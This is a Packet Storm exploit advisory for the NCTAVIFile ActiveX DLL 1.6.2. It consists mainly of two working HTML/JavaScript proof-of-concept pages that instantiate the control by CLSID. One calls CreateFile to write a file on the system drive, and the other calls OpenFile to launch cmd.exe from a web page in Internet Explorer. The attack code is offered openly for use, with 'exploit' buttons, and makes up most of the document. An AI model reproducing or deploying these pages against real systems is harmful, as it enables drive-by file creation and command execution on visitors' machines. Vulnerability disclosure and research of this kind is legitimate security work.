NCTAVIFile Active-X DLL version 1.6.2 suffers from an insecure file creation and execution vulnerability.
dd94df3aba90558aec4635e304c81c3236c5584c19b559a632f17e32b6991a28"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
""" :::::: :: :: :: :: :: :::: """
""" :: :: :: :: :::::: .. :::: :: """
""" ::::: ::: ::::: :: :: :: :: :: :::: """
""" :: :: :: :: : :: :: :: :: :: :: """
""" :::::: :: :: ::::: :: :::::: :: :: :::: rs.ir """
""" :: """
""" """
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
Anti-Security Research Team & Security Institute
#[+] Bug : NCTAVIFile Activex DLL V 1.6.2 Insecure Method File Creation/File execution exploit
#[+] program Download : http://www.nctsoft.com/
#[+] Author : the_Edit0r
#[+] Contact me : the_3dit0r[at]Yahoo[dot]coM
#[+] Greetz to all my friends
#[+] Tested on: Windows XP Pro SP2 with Internet Explorer 7
#[+] web site: Expl0iters.ir * Anti-security.ir
#[+] Big thnx: Aria-Security Team & H4ckcity Member
# Part Expl0it & Bug Codes ( Poc ) :
------------------------------------
<HTML>
<b> NCTAVIFile Activex DLL V 1.6.2 Insecure Method File Creation </b>
<BODY>
<object classid='clsid:6B1E11AC-BF5C-4CF5-9DC9-F81F715EB790' id='expl'></object>
<SCRIPT>
/*
targetFile = "C:\WINDOWS\system32\NCTAVIFile.dll"
prototype = "Sub CreateFile ( ByVal fileName As String )"
memberName = "CreateFile"
progid = "NCTAVIFileLib.AVIFileM"
argCount = 1
*/
function Boom()
{
File = "c:\\system_.ini"
expl.CreateFile(File)
}
</SCRIPT>
<input language=JavaScript onclick=Boom() type=button value="Click Here For Test Exploit">
</body>
</HTML>
---------------------------------------
<HTML>
<BODY>
<object id=expl classid="clsid:{6B1E11AC-BF5C-4CF5-9DC9-F81F715EB790}"></object>
<SCRIPT>
function Do_it()
{
File = "c:\\windows\\system32\\cmd.exe"
expl.OpenFile(File)
}
</SCRIPT>
<input language=JavaScript onclick=Do_it() type=button value="exploit">
</body>
</HTML>
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed